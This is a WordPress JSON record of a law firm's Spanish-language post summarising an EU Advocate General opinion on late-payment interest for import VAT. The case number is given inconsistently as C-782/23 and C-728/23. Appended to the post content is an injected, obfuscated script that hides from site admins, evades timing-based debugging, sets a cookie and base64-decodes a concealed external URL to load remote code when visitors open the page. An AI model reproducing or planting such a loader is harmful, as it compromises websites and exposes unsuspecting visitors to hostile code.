{"id":2816,"date":"2025-02-18T11:08:59","date_gmt":"2025-02-18T11:08:59","guid":{"rendered":"https:\/\/www.blnpalao.com\/?p=2816"},"modified":"2026-05-29T10:50:48","modified_gmt":"2026-05-29T10:50:48","slug":"conclusiones-del-ag-caso-tauritus-c-782-23","status":"publish","type":"post","link":"https:\/\/blnpalao.com\/en\/conclusiones-del-ag-caso-tauritus-c-782-23\/","title":{"rendered":"Conclusions of  the ECJ GA in the TAURITUS case-  law (C- 728\/23)"},"content":{"rendered":"<p>[et_pb_section fb_built=\u00bb1&#8243; _builder_version=\u00bb4.27.4&#8243; _module_preset=\u00bbdefault\u00bb hover_enabled=\u00bb0&#8243; global_colors_info=\u00bb{}\u00bb theme_builder_area=\u00bbpost_content\u00bb custom_padding=\u00bb0px||||false|false\u00bb sticky_enabled=\u00bb0&#8243;][et_pb_row _builder_version=\u00bb4.27.4&#8243; _module_preset=\u00bbdefault\u00bb hover_enabled=\u00bb0&#8243; global_colors_info=\u00bb{}\u00bb theme_builder_area=\u00bbpost_content\u00bb custom_padding=\u00bb0px||||false|false\u00bb sticky_enabled=\u00bb0&#8243;][et_pb_column type=\u00bb4_4&#8243; _builder_version=\u00bb4.27.4&#8243; _module_preset=\u00bbdefault\u00bb global_colors_info=\u00bb{}\u00bb theme_builder_area=\u00bbpost_content\u00bb][et_pb_text _builder_version=\u00bb4.27.4&#8243; _module_preset=\u00bbdefault\u00bb link_option_url=\u00bbhttps:\/\/www.blnpalao.com\/wp-content\/uploads\/2025\/02\/NI-Opinion-AG-CasoTauritius-vfBPB17.02.2025.pdf\u00bb link_option_url_new_window=\u00bbon\u00bb global_colors_info=\u00bb{}\u00bb theme_builder_area=\u00bbpost_content\u00bb]<\/p>\n<p>El pasado 23 de enero de 2025 el Abogado General del Tribunal de Justicia de la Uni\u00f3n Europea (en adelante, TJUE) present\u00f3 sus conclusiones en relaci\u00f3n con el Asunto C-782\/23.<\/p>\n<p>En este caso, se discut\u00eda si proced\u00eda liquidar intereses de demora en relaci\u00f3n con las cuotas de IVA a la importaci\u00f3n puestas de manifiesta como consecuencia del incremento del valor en aduanas originalmente declarado, en base a un valor provisional.<\/p>\n<p>En caso de necesitar m\u00e1s informaci\u00f3n al respecto, le rogamos pinche en el siguiente <a href=\"https:\/\/www.blnpalao.com\/wp-content\/uploads\/2025\/02\/NI-Opinion-AG-CasoTauritius-vfBPB17.02.2025.pdf\" target=\"_blank\" rel=\"noopener\" title=\"NI Conclusiones AG C- 728\/23\"><strong>documento<\/strong><\/a>.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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